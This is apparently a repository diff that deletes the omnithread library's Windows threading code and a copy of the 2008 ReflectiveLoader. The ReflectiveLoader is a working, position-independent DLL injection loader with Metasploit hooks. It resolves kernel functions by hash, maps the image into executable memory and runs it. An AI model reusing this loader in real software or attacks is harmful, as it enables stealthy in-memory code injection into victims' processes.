waiting_tail->cond_next = me;
waiting_tail = me;
me->cond_waiting = TRUE;
LeaveCriticalSection(&crit);
mutex->unlock();
unsigned long now_sec, now_nsec;
get_time_now(&now_sec, &now_nsec);
DWORD timeout;
if ((abs_sec <= now_sec) && ((abs_sec < now_sec) || (abs_nsec < now_nsec)))
timeout = 0;
else {
timeout = (abs_sec-now_sec) * 1000;
if( abs_nsec < now_nsec ) timeout -= (now_nsec-abs_nsec) / 1000000;
else timeout += (abs_nsec-now_nsec) / 1000000;
}
DWORD result = WaitForSingleObject(me->cond_semaphore, timeout);
if (result == WAIT_TIMEOUT) {
EnterCriticalSection(&crit);
if (me->cond_waiting) {
if (me->cond_prev != NULL)
me->cond_prev->cond_next = me->cond_next;
else
waiting_head = me->cond_next;
if (me->cond_next != NULL)
me->cond_next->cond_prev = me->cond_prev;
else
waiting_tail = me->cond_prev;
me->cond_waiting = FALSE;
LeaveCriticalSection(&crit);
mutex->lock();
return 0;
}
//
// We timed out but another thread still signalled us. Wait for
// the semaphore (it _must_ have been signalled) to decrement it
// again. Return that we were signalled, not that we timed out.
//
LeaveCriticalSection(&crit);
result = WaitForSingleObject(me->cond_semaphore, INFINITE);
}
if (result != WAIT_OBJECT_0)
throw omni_thread_fatal(GetLastError());
mutex->lock();
return 1;
}
void
omni_condition::signal(void)
{
EnterCriticalSection(&crit);
if (waiting_head != NULL) {
omni_thread* t = waiting_head;
waiting_head = t->cond_next;
if (waiting_head == NULL)
waiting_tail = NULL;
else
waiting_head->cond_prev = NULL;
t->cond_waiting = FALSE;
if (!ReleaseSemaphore(t->cond_semaphore, 1, NULL)) {
int rc = GetLastError();
LeaveCriticalSection(&crit);
throw omni_thread_fatal(rc);
}
}
LeaveCriticalSection(&crit);
}
void
omni_condition::broadcast(void)
{
EnterCriticalSection(&crit);
while (waiting_head != NULL) {
omni_thread* t = waiting_head;
waiting_head = t->cond_next;
if (waiting_head == NULL)
waiting_tail = NULL;
else
waiting_head->cond_prev = NULL;
t->cond_waiting = FALSE;
if (!ReleaseSemaphore(t->cond_semaphore, 1, NULL)) {
int rc = GetLastError();
LeaveCriticalSection(&crit);
throw omni_thread_fatal(rc);
}
}
LeaveCriticalSection(&crit);
}
///////////////////////////////////////////////////////////////////////////
//
// Counting semaphore
//
///////////////////////////////////////////////////////////////////////////
#define SEMAPHORE_MAX 0x7fffffff
omni_semaphore::omni_semaphore(unsigned int initial)
{
nt_sem = CreateSemaphore(NULL, initial, SEMAPHORE_MAX, NULL);
if (nt_sem == NULL) {
DB( cerr << "omni_semaphore::omni_semaphore: CreateSemaphore error "
<< GetLastError() << endl );
throw omni_thread_fatal(GetLastError());
}
}
omni_semaphore::~omni_semaphore(void)
{
if (!CloseHandle(nt_sem)) {
DB( cerr << "omni_semaphore::~omni_semaphore: CloseHandle error "
<< GetLastError() << endl );
throw omni_thread_fatal(GetLastError());
}
}
void
omni_semaphore::wait(void)
{
if (WaitForSingleObject(nt_sem, INFINITE) != WAIT_OBJECT_0)
throw omni_thread_fatal(GetLastError());
}
int
omni_semaphore::trywait(void)
{
switch (WaitForSingleObject(nt_sem, 0)) {
case WAIT_OBJECT_0:
return 1;
case WAIT_TIMEOUT:
return 0;
}
throw omni_thread_fatal(GetLastError());
return 0; /* keep msvc++ happy */
}
void
omni_semaphore::post(void)
{
if (!ReleaseSemaphore(nt_sem, 1, NULL))
throw omni_thread_fatal(GetLastError());
}
///////////////////////////////////////////////////////////////////////////
//
// Thread
//
///////////////////////////////////////////////////////////////////////////
//
// Static variables
//
int omni_thread::init_t::count = 0;
omni_mutex* omni_thread::next_id_mutex;
int omni_thread::next_id = 0;
static DWORD self_tls_index;
static unsigned int stack_size = 0;
//
// Initialisation function (gets called before any user code).
//
omni_thread::init_t::init_t(void)
{
if (count++ != 0) // only do it once however many objects get created.
return;
DB(cerr << "omni_thread::init: NT implementation initialising\n");
self_tls_index = TlsAlloc();
if (self_tls_index == 0xffffffff)
throw omni_thread_fatal(GetLastError());
next_id_mutex = new omni_mutex;
//
// Create object for this (i.e. initial) thread.
//
omni_thread* t = new omni_thread;
t->_state = STATE_RUNNING;
if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
GetCurrentProcess(), &t->handle,
0, FALSE, DUPLICATE_SAME_ACCESS))
throw omni_thread_fatal(GetLastError());
t->nt_id = GetCurrentThreadId();
DB(cerr << "initial thread " << t->id() << " NT thread id " << t->nt_id
<< endl);
if (!TlsSetValue(self_tls_index, (LPVOID)t))
throw omni_thread_fatal(GetLastError());
if (!SetThreadPriority(t->handle, nt_priority(PRIORITY_NORMAL)))
throw omni_thread_fatal(GetLastError());
}
//
// Wrapper for thread creation.
//
extern "C"
#ifndef __BCPLUSPLUS__
unsigned __stdcall
#else
void _USERENTRY
#endif
omni_thread_wrapper(void* ptr)
{
omni_thread* me = (omni_thread*)ptr;
DB(cerr << "omni_thread_wrapper: thread " << me->id()
<< " started\n");
if (!TlsSetValue(self_tls_index, (LPVOID)me))
throw omni_thread_fatal(GetLastError());
//
// Now invoke the thread function with the given argument.
//
if (me->fn_void != NULL) {
(*me->fn_void)(me->thread_arg);
omni_thread::exit();
}
if (me->fn_ret != NULL) {
void* return_value = (*me->fn_ret)(me->thread_arg);
omni_thread::exit(return_value);
}
if (me->detached) {
me->run(me->thread_arg);
omni_thread::exit();
} else {
void* return_value = me->run_undetached(me->thread_arg);
omni_thread::exit(return_value);
}
// should never get here.
#ifndef __BCPLUSPLUS__
return 0;
#endif
}
//
// Constructors for omni_thread - set up the thread object but don't
// start it running.
//
// construct a detached thread running a given function.
omni_thread::omni_thread(void (*fn)(void*), void* arg, priority_t pri)
{
common_constructor(arg, pri, 1);
fn_void = fn;
fn_ret = NULL;
}
// construct an undetached thread running a given function.
omni_thread::omni_thread(void* (*fn)(void*), void* arg, priority_t pri)
{
common_constructor(arg, pri, 0);
fn_void = NULL;
fn_ret = fn;
}
// construct a thread which will run either run() or run_undetached().
omni_thread::omni_thread(void* arg, priority_t pri)
{
common_constructor(arg, pri, 1);
fn_void = NULL;
fn_ret = NULL;
}
// common part of all constructors.
void
omni_thread::common_constructor(void* arg, priority_t pri, int det)
{
_state = STATE_NEW;
_priority = pri;
next_id_mutex->lock();
_id = next_id++;
next_id_mutex->unlock();
thread_arg = arg;
detached = det; // may be altered in start_undetached()
cond_semaphore = CreateSemaphore(NULL, 0, SEMAPHORE_MAX, NULL);
if (cond_semaphore == NULL)
throw omni_thread_fatal(GetLastError());
cond_next = cond_prev = NULL;
cond_waiting = FALSE;
handle = NULL;
}
//
// Destructor for omni_thread.
//
omni_thread::~omni_thread(void)
{
DB(cerr << "destructor called for thread " << id() << endl);
if (handle && !CloseHandle(handle))
throw omni_thread_fatal(GetLastError());
if (cond_semaphore && !CloseHandle(cond_semaphore))
throw omni_thread_fatal(GetLastError());
}
//
// Start the thread
//
void
omni_thread::start(void)
{
omni_mutex_lock l(mutex);
if (_state != STATE_NEW)
throw omni_thread_invalid();
#ifndef __BCPLUSPLUS__
// MSVC++ or compatiable
unsigned int t;
handle = (HANDLE)_beginthreadex(
NULL,
stack_size,
omni_thread_wrapper,
(LPVOID)this,
CREATE_SUSPENDED,
&t);
nt_id = t;
if (handle == NULL)
throw omni_thread_fatal(GetLastError());
#else
// Borland C++
handle = (HANDLE)_beginthreadNT(omni_thread_wrapper,
stack_size,
(void*)this,
NULL,
CREATE_SUSPENDED,
&nt_id);
if (handle == INVALID_HANDLE_VALUE)
throw omni_thread_fatal(errno);
#endif
if (!SetThreadPriority(handle, nt_priority(_priority)))
throw omni_thread_fatal(GetLastError());
if (ResumeThread(handle) == 0xffffffff)
throw omni_thread_fatal(GetLastError());
_state = STATE_RUNNING;
}
//
// Start a thread which will run the member function run_undetached().
//
void
omni_thread::start_undetached(void)
{
if ((fn_void != NULL) || (fn_ret != NULL))
throw omni_thread_invalid();
detached = 0;
start();
}
//
// join - simply check error conditions & call WaitForSingleObject.
//
void
omni_thread::join(void** status)
{
mutex.lock();
if ((_state != STATE_RUNNING) && (_state != STATE_TERMINATED)) {
mutex.unlock();
throw omni_thread_invalid();
}
mutex.unlock();
if (this == self())
throw omni_thread_invalid();
if (detached)
throw omni_thread_invalid();
DB(cerr << "omni_thread::join: doing WaitForSingleObject\n");
if (WaitForSingleObject(handle, INFINITE) != WAIT_OBJECT_0)
throw omni_thread_fatal(GetLastError());
DB(cerr << "omni_thread::join: WaitForSingleObject succeeded\n");
if (status)
*status = return_val;
delete this;
}
//
// Change this thread's priority.
//
void
omni_thread::set_priority(priority_t pri)
{
omni_mutex_lock l(mutex);
if (_state != STATE_RUNNING)
throw omni_thread_invalid();
_priority = pri;
if (!SetThreadPriority(handle, nt_priority(pri)))
throw omni_thread_fatal(GetLastError());
}
//
// create - construct a new thread object and start it running. Returns thread
// object if successful, null pointer if not.
//
// detached version
omni_thread*
omni_thread::create(void (*fn)(void*), void* arg, priority_t pri)
{
omni_thread* t = new omni_thread(fn, arg, pri);
t->start();
return t;
}
// undetached version
omni_thread*
omni_thread::create(void* (*fn)(void*), void* arg, priority_t pri)
{
omni_thread* t = new omni_thread(fn, arg, pri);
t->start();
return t;
}
//
// exit() _must_ lock the mutex even in the case of a detached thread. This is
// because a thread may run to completion before the thread that created it has
// had a chance to get out of start(). By locking the mutex we ensure that the
// creating thread must have reached the end of start() before we delete the
// thread object. Of course, once the call to start() returns, the user can
// still incorrectly refer to the thread object, but that's their problem.
//
void
omni_thread::exit(void* return_value)
{
omni_thread* me = self();
if (me)
{
me->mutex.lock();
me->_state = STATE_TERMINATED;
me->mutex.unlock();
DB(cerr << "omni_thread::exit: thread " << me->id() << " detached "
<< me->detached << " return value " << return_value << endl);
if (me->detached) {
delete me;
} else {
me->return_val = return_value;
}
}
else
{
DB(cerr << "omni_thread::exit: called with a non-omnithread. Exit quietly." << endl);
}
#ifndef __BCPLUSPLUS__
// MSVC++ or compatiable
// _endthreadex() does not automatically closes the thread handle.
// The omni_thread dtor closes the thread handle.
_endthreadex(0);
#else
// Borland C++
// _endthread() does not automatically closes the thread handle.
// _endthreadex() is only available if __MFC_COMPAT__ is defined and
// all it does is to call _endthread().
_endthread();
#endif
}
omni_thread*
omni_thread::self(void)
{
LPVOID me;
me = TlsGetValue(self_tls_index);
if (me == NULL) {
DB(cerr << "omni_thread::self: called with a non-ominthread. NULL is returned." << endl);
}
return (omni_thread*)me;
}
void
omni_thread::yield(void)
{
Sleep(0);
}
#define MAX_SLEEP_SECONDS (DWORD)4294966 // (2**32-2)/1000
void
omni_thread::sleep(unsigned long secs, unsigned long nanosecs)
{
if (secs <= MAX_SLEEP_SECONDS) {
Sleep(secs * 1000 + nanosecs / 1000000);
return;
}
DWORD no_of_max_sleeps = secs / MAX_SLEEP_SECONDS;
for (DWORD i = 0; i < no_of_max_sleeps; i++)
Sleep(MAX_SLEEP_SECONDS * 1000);
Sleep((secs % MAX_SLEEP_SECONDS) * 1000 + nanosecs / 1000000);
}
void
omni_thread::get_time(unsigned long* abs_sec, unsigned long* abs_nsec,
unsigned long rel_sec, unsigned long rel_nsec)
{
get_time_now(abs_sec, abs_nsec);
*abs_nsec += rel_nsec;
*abs_sec += rel_sec + *abs_nsec / 1000000000;
*abs_nsec = *abs_nsec % 1000000000;
}
int
omni_thread::nt_priority(priority_t pri)
{
switch (pri) {
case PRIORITY_LOW:
return THREAD_PRIORITY_LOWEST;
case PRIORITY_NORMAL:
return THREAD_PRIORITY_NORMAL;
case PRIORITY_HIGH:
return THREAD_PRIORITY_HIGHEST;
}
throw omni_thread_invalid();
return 0; /* keep msvc++ happy */
}
static void
get_time_now(unsigned long* abs_sec, unsigned long* abs_nsec)
{
static int days_in_preceding_months[12]
= { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334 };
static int days_in_preceding_months_leap[12]
= { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335 };
SYSTEMTIME st;
GetSystemTime(&st);
*abs_nsec = st.wMilliseconds * 1000000;
// this formula should work until 1st March 2100
DWORD days = ((st.wYear - 1970) * 365 + (st.wYear - 1969) / 4
+ ((st.wYear % 4)
? days_in_preceding_months[st.wMonth - 1]
: days_in_preceding_months_leap[st.wMonth - 1])
+ st.wDay - 1);
*abs_sec = st.wSecond + 60 * (st.wMinute + 60 * (st.wHour + 24 * days));
}
void
omni_thread::stacksize(unsigned long sz)
{
stack_size = sz;
}
unsigned long
omni_thread::stacksize()
{
return stack_size;
}

View File

@ -1,65 +0,0 @@
// Package : omnithread
// omnithread/nt.h Created : 6/95 tjr
//
// Copyright (C) 1995, 1996, 1997 Olivetti & Oracle Research Laboratory
//
// This file is part of the omnithread library
//
// The omnithread library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Library General Public
// License as published by the Free Software Foundation; either
// version 2 of the License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// Library General Public License for more details.
//
// You should have received a copy of the GNU Library General Public
// License along with this library; if not, write to the Free
// Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
// 02111-1307, USA
//
//
// OMNI thread implementation classes for NT threads.
//
#ifndef __omnithread_nt_h_
#define __omnithread_nt_h_
#include <windows.h>
#ifndef __BCPLUSPLUS__
#define OMNI_THREAD_WRAPPER \
unsigned __stdcall omni_thread_wrapper(LPVOID ptr);
#else
#define OMNI_THREAD_WRAPPER \
void _USERENTRY omni_thread_wrapper(void *ptr);
#endif
extern "C" OMNI_THREAD_WRAPPER;
#define OMNI_MUTEX_IMPLEMENTATION \
CRITICAL_SECTION crit;
#define OMNI_CONDITION_IMPLEMENTATION \
CRITICAL_SECTION crit; \
omni_thread* waiting_head; \
omni_thread* waiting_tail;
#define OMNI_SEMAPHORE_IMPLEMENTATION \
HANDLE nt_sem;
#define OMNI_THREAD_IMPLEMENTATION \
HANDLE handle; \
DWORD nt_id; \
void* return_val; \
HANDLE cond_semaphore; \
omni_thread* cond_next; \
omni_thread* cond_prev; \
BOOL cond_waiting; \
static int nt_priority(priority_t); \
friend class omni_condition; \
friend OMNI_THREAD_WRAPPER;
#endif

View File

@ -1,346 +0,0 @@
//===============================================================================================//
// Copyright (c) 2008 Stephen Fewer of Harmony Security
//===============================================================================================//
/*
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Harmony Security nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "ReflectiveLoader.h"
//===============================================================================================//
// You must implement this to add desired functionality...
//extern int Init( SOCKET fd );
//===============================================================================================//
// Our loader will set this to a pseudo correct value
//HINSTANCE hAppInstance; // see winvnc.cpp
//===============================================================================================//
// This is our position independent reflective Dll loader/injector
DLLEXPORT DWORD WINAPI ReflectiveLoader( VOID )
{
// the functions we need
LOADLIBRARYA pLoadLibraryA;
GETPROCADDRESS pGetProcAddress;
VIRTUALALLOC pVirtualAlloc;
BYTE bCounter;
// the initial location of this image in memory
DWORD dwLibraryAddress;
// the kernels base address and later this images newly loaded base address
DWORD dwBaseAddress;
// variables for processing the kernels export table
DWORD dwAddressArray;
DWORD dwNameArray;
DWORD dwExportDir;
DWORD dwNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
DWORD dwHeaderValue;
DWORD dwValueA;
DWORD dwValueB;
DWORD dwValueC;
DWORD dwValueD;
// STEP 0: calculate our images current base address
// we will start searching backwards from our current EIP
__asm call getip
__asm getip: pop dwLibraryAddress
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
dwLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
dwBaseAddress = __get_peb();
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
dwBaseAddress = (DWORD)((_PPEB)dwBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
dwValueA = (DWORD)((PPEB_LDR_DATA)dwBaseAddress)->InMemoryOrderModuleList.Flink;
while( dwValueA )
{
// get pointer to current modules name (unicode string)
dwValueB = (DWORD)((PLDR_MODULE_MEMORY_ORDER)dwValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
bCounter = (BYTE)((PLDR_MODULE_MEMORY_ORDER)dwValueA)->BaseDllName.Length;
// clear dwValueC which will store the hash of the module name
dwValueC = 0;
// compute the hash of the module name...
do
{
__asm ror dwValueC, HASH_KEY
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)dwValueB) >= 'a' )
dwValueC += *((BYTE *)dwValueB) - 0x20;
else
dwValueC += *((BYTE *)dwValueB);
dwValueB++;
} while( --bCounter );
// get this modules base address
dwBaseAddress = (DWORD)((PLDR_MODULE_MEMORY_ORDER)dwValueA)->BaseAddress;
// compare the hash with that of kernel32.dll
if( dwValueC == KERNEL32DLL_HASH )
break;
// get the next entry
dwValueA = DEREF_32( dwValueA );
}
// get the VA of the modules NT Header
dwExportDir = dwBaseAddress + ((PIMAGE_DOS_HEADER)dwBaseAddress)->e_lfanew;
// dwNameArray = the address of the modules export directory entry
dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
dwExportDir = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress );
// get the VA for the array of name pointers
dwNameArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
dwNameOrdinals = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNameOrdinals );
bCounter = 3;
// loop while we still have imports to find
while( bCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = __hash( (char *)( dwBaseAddress + DEREF_32( dwNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
dwAddressArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
dwAddressArray += ( DEREF_16( dwNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( dwBaseAddress + DEREF_32( dwAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( dwBaseAddress + DEREF_32( dwAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( dwBaseAddress + DEREF_32( dwAddressArray ) );
// decrement our counter
bCounter--;
}
// get the next exported function name
dwNameArray += sizeof(DWORD);
// get the next exported function name ordinal
dwNameOrdinals += sizeof(WORD);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
dwBaseAddress = (DWORD)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
dwValueA = ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfHeaders;
dwValueB = dwLibraryAddress;
dwValueC = dwBaseAddress;
__memcpy( dwValueC, dwValueB, dwValueA );
// STEP 3: load in all of our sections...
// dwValueA = the VA of the first section
dwValueA = ( (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
while( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.NumberOfSections-- )
{
// dwValueB is the VA for this section
dwValueB = ( dwBaseAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->VirtualAddress );
// dwValueC if the VA for this sections data
dwValueC = ( dwLibraryAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->PointerToRawData );
// copy the section over
dwValueD = ((PIMAGE_SECTION_HEADER)dwValueA)->SizeOfRawData;
__memcpy( dwValueB, dwValueC, dwValueD );
// get the VA of the next section
dwValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// dwValueB = the address of the import directory
dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// dwValueC is the first entry in the import table
dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
dwLibraryAddress = (DWORD)pLoadLibraryA( (LPCSTR)( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name ) );
// dwValueD = VA of the OriginalFirstThunk
dwValueD = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->OriginalFirstThunk );
// dwValueA = VA of the IAT (via first thunk not origionalfirstthunk)
dwValueA = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF_32(dwValueA) )
{
// sanity check dwValueD as some compilers only import by FirstThunk
if( dwValueD && ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG32 )
{
// get the VA of the modules NT Header
dwExportDir = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew;
// dwNameArray = the address of the modules export directory entry
dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
dwExportDir = ( dwLibraryAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress );
// get the VA for the array of addresses
dwAddressArray = ( dwLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
dwAddressArray += ( ( IMAGE_ORDINAL32( ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF_32(dwValueA) = ( dwLibraryAddress + DEREF_32(dwAddressArray) );
}
else
{
// get the VA of this functions import by name struct
dwValueB = ( dwBaseAddress + DEREF_32(dwValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF_32(dwValueA) = (DWORD)pGetProcAddress( (HMODULE)dwLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)dwValueB)->Name );
}
// get the next imported function
dwValueA += 4;
if( dwValueD )
dwValueD += 4;
}
// get the next import
dwValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
dwLibraryAddress = dwBaseAddress - ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.ImageBase;
// dwValueB = the address of the relocation directory
dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)dwValueB)->Size )
{
// dwValueC is now the first entry (IMAGE_BASE_RELOCATION)
dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock )
{
// dwValueA = the VA for this relocation block
dwValueA = ( dwBaseAddress + ((PIMAGE_BASE_RELOCATION)dwValueC)->VirtualAddress );
// dwValueB = number of entries in this relocation block
dwValueB = ( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// dwValueD is now the first entry in the current relocation block
dwValueD = dwValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( dwValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required
switch( ((PIMAGE_RELOC)dwValueD)->type )
{
case IMAGE_REL_BASED_HIGHLOW:
*(DWORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += dwLibraryAddress;
break;
case IMAGE_REL_BASED_HIGH:
*(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += HIWORD(dwLibraryAddress);
break;
case IMAGE_REL_BASED_LOW:
*(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += LOWORD(dwLibraryAddress);
break;
//case IMAGE_REL_BASED_HIGHADJ:
// break;
default:
break;
}
// get the next entry in the current relocation block
dwValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
dwValueC = dwValueC + ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// dwValueA = the VA of our newly loaded DLL's entry point
dwValueA = ( dwBaseAddress + ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// call our DLLMain(), fudging our hinstDLL value
((DLLMAIN)dwValueA)( (HINSTANCE)dwBaseAddress, DLL_PROCESS_ATTACH, NULL );
// STEP 7: return our new DllMain address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
return (DWORD)dwValueA;
}
//===============================================================================================//

View File

@ -1,232 +0,0 @@
//===============================================================================================//
// Copyright (c) 2008 Stephen Fewer of Harmony Security
//===============================================================================================//
/*
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Harmony Security nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef REFLECTIVELOADER_H
#define REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <Winternl.h>
#define EXITFUNC_SEH 0xEA320EFE
#define EXITFUNC_THREAD 0x0A2A1DE0
#define EXITFUNC_PROCESS 0x56A2B5F0
